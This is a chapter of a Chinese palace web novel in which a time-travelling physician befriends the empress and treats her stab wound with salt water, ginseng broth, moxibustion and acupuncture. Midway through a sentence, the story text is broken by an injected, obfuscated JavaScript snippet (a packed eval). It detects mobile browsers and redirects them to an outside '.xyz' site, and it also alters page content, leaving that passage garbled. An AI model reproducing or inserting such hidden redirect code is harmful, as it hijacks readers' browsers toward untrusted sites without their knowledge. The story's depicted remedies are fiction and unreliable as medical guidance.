“自我安慰就自我安慰吧,人活一世都得靠自我安慰。”皇后苦笑,用手舀起一掌温水浇在自己身上,“我入宫的这五年里,每日每夜都在自我安慰,诸如陛下很忙,陛下忘了,陛下身子不适,以此为他不唤我侍寝来开脱。” 五年都没侍寝?冯麓心里大惊,她没想到那雷厉风行的李麒是个这么禁欲的人。这对从小众星捧月的皇后来说,应该是个不小的打击吧。 冯麓劝慰道:“或许……陛下有难言之隐呢。” “他对我没感情,就算有也是厌恶。我知道,他娶我只是为了堵住大臣们的悠悠众口罢了。”皇后把自己沉进水里,只露出一张艳丽的脸在水面上,“不过如今我想通了,自己过活也不错,而且,这不是还遇到了你吗,至少寡淡的日子有了一点盼头。” 她在水上晏晏一笑,那笑容看起来苦涩至极。冯麓伸手把汤池的水打出水花,扬到皇后那边,笑着说:“娘娘,遇到我可不是好事情,我鬼点子多着呢。” “你这么说的话,我可是会日日期待的。”皇后哈哈大笑,也玩起水来。 冯麓心想,皇后笑起来比不笑时更好看,李麒真没眼光,也没福气。 只是两个月,皇后已经把冯麓视为生活中最不可或缺的一部分,李麒赐给她任何东西她都会第一时间给绫绮殿送去一些。听说冯麓怕冷,她把自己的狐裘皮都送给了冯麓。 冯麓再不识货也看得出来这个狐裘是最好的那一档,她自然是不敢接受,“娘娘,这太贵重,我已经有陛下送的貂皮大氅了不会冻着的。” “不一样,这是我小时候和我爹去打猎打来的,比那些都要好。”皇后亲手把狐裘披在冯麓身上,满意地笑着点头,“麓麓,你穿上这件狐裘真好看,看得人赏心悦目的。” 冯麓不想让皇后坏了兴致,于是只能收下,她转了个圈笑道:“那就多谢娘娘了。” “我以前一直渴望有一个姐妹,可以与我一同出游、一同梳妆,一同说些闺中密话,可是我娘身子不好,所以我只有一个冷冰冰的兄长。”皇后说。 “兄长也很好,可以为娘娘提供强劲的支持。” 皇后顿时就白了一眼,“我进宫这么多年,他明明就在陛下身边,来看我的次数一个巴掌都数得过来,就好像不认识我这个妹妹似的。” “若是可以给我一个机会,我宁愿让你来我们凌家,把那无情无义的兄长换走。” 凌家?那个天天臭着个脸的禁军统领居然是皇后的哥哥。看来,李麒很信任凌家,不然不会让外戚担任禁军统领这么重要的职位。 冯麓回到自己的寝殿,发现她通风压制的人参已经变红变干燥,经过一个月的摸索,红参[1]终于被她加工出来。 红参对于补充气血的功效要比人参更强,在现代通常用于术后大出血或者重病预后的病人。 现如今血纹症仍然难以攻克,冯麓只能用上最顶级的药材来益气摄血了。 冯麓去了一趟尚药局,把炮制红参的方法告知他们,正式开始进行大批量的红参加工。 叶主簿拦住冯麓离开的步伐,说:“郑大人今日正巧不在,不过他前些日子刚拿来了上好的黄芽新团,要不冯大人留下喝盏茶等等?” 不是正巧。是冯麓打听来今日郑安沅要去城里处理事务,所以精挑细选了这个时间来的尚药局。 “不必了,我还有要事在身。”冯麓微笑拒绝了这个提议,拉上芮雪抬脚便走,生怕晚了撞上办完事回来的郑安沅。 冯麓想尽量减少与郑安沅的接触,晾他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513176|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个二三个月不见面,他也就不会有什么想法了。 况且,她也不需要男子来丰富生活,每日和芮雪还有皇后一起吃喝玩乐就已经很满足了,她之前单身了三十五年不也啥事不耽误吗。 冯麓想着今日给皇后和芮雪做一些她家乡菜,一回到绫绮殿就开始准备,她算好了时间,等皇后和李麒从宫外上香归来就正好可以吃上。 但是冯麓没想到,她没等到皇后如夏花般的笑颜,却等来了她受伤的消息。 据来传话的宫人说,李麒遇刺皇后挡刀,她血流不止奄奄一息,但嘴里仍然不断说着冯麓的名字,说什么都要回宫。 冯麓跑去紫宸殿的路上不敢停一秒,她恨为什么皇宫这么大,为什么这段路这么长,为什么自己体力这么差。 当她气喘吁吁跑去紫宸殿的时候,李麒屏退众人,站在床边握住了皇后的手,喃喃地叫着她的乳名。 冯麓奔向床边,“陛下,请门外稍候。” 李麒呆滞地放开那只手,问:“冯小医师,你真的可以救回嬗儿吗?” 冯麓反问:“娘娘相信民女,陛下相信娘娘吗?” 李麒退下,冯麓立即轻轻解开衣服和紧急包扎的布料,露出那道可怖的伤口。凌嬗挨的这一刀非常深,但还好没有伤及重要内脏。 “小雪,立即去拿一碗纯盐水。” 冯麓把盐水浇在伤口上,不断用干净的手帕擦掉血迹,直到把伤口冲洗一遍,上了金创药再重新包扎起来。 “那把刀有无生锈?”“没有。” 还好不会患上破伤风。冯麓拍了拍凌嬗的肩膀喊她的名字,可没有回应,她的意识已经在逐渐消失,恐怕会失血性休克。 “现在立即煎煮人参汤,一两人参,三升水煮至一升拿来。” “小雪,给我百草霜和血余炭[2]。” 芮雪把工具箱里那些药交由冯麓手上,这是先生教她的方法,锅底灰和煅烧的头发有强大的吸附收敛作用。 “去皮姜片。” 芮雪把早已准备好的姜片递上来,冯麓把姜片放在凌嬗的关元、气海和神阙,她又让芮雪把艾绒烧好,一一放在上面进行艾灸。 一刻钟过去,凌嬗还是没有醒,冯麓开始用银针刺水沟和足三里,试图刺激她的心神。 凌嬗终于睁开眼,虽然很快就又重新闭上。 参汤已经煎煮好,冯麓接过碗,小口小口地喂下去。参汤是最好提气的方法,可以稍微代替现代的强心剂和升压药。 喝下参汤后,凌嬗挣扎着睁开眼,缓缓寻着冯麓的手,念叨她的名字。 “你真的来了……” 总算是恢复意识了。冯麓长舒一口气,笑着回握她的手,“娘娘需要我,我必须得来。不过就算不需要我,我也会强行来救治娘娘的。” “其实我是想最后见你一面。”凌嬗说着说着就流下一连串的泪水,带着不舍,和劫后余生的庆幸。 冯麓心头一酸。 在许多时刻,她都是以一个救世主的姿态出现在众人心里,或是平步青云的验方使,或是装神弄鬼的花瓶。 但是在凌嬗触及死亡之线的那一刻,她褪去所有世俗的身份,只是被当成了最好的朋友。强忍痛苦也要见面的朋友。 注释及参考文献: [1]红参的加工炮制最早可溯源于努尔哈赤(清)。 [2]最早可以溯源于《备急千金要方》孙思邈(唐)。